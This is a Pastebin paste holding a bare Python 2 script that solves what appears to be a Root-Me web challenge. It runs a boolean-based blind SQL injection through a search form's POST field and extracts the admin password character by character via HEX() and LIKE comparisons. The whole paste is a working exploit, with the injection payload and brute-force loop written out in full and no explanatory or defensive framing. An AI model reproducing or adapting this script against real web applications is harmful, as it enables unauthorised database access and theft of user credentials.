Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2016
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. import requests
  2. import time
  3. URL = "http://challenge01.root-me.org/web-serveur/ch19/?action=recherche"
  4.  
  5. password = ""
  6. #[0-9A-F]
  7. charset = range(0x30, 0x3a) + range(0x41, 0x47)
  8.  
  9. found = True
  10. while found:
  11. found = False
  12. index = 0
  13. while not found and index < len(charset):
  14. character = chr(charset[index])
  15.  
  16. # using SQL hex function because LIKE is not case sensitive
  17. payload = "faille%' AND (select count(*) from users where username='admin' and HEX(password) LIKE '"+ password + character +"%') > 0 AND 'a' LIKE 'a"
  18. #print payload,"\n"
  19. #break
  20. data = {'recherche': payload}
  21. #print data,"\n"
  22. #break
  23.  
  24. r = requests.post(URL, data=data)
  25. #print r,"\n\n"
  26.  
  27. resp = r.text
  28. #print resp
  29. #break
  30. if "Correction faille / Vulnerability" in resp:
  31. password = password + character
  32. print password
  33. found = True
  34. index = index + 1
  35. time.sleep(0.1) # for server sanity
  36.  
  37. print password.decode("hex")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement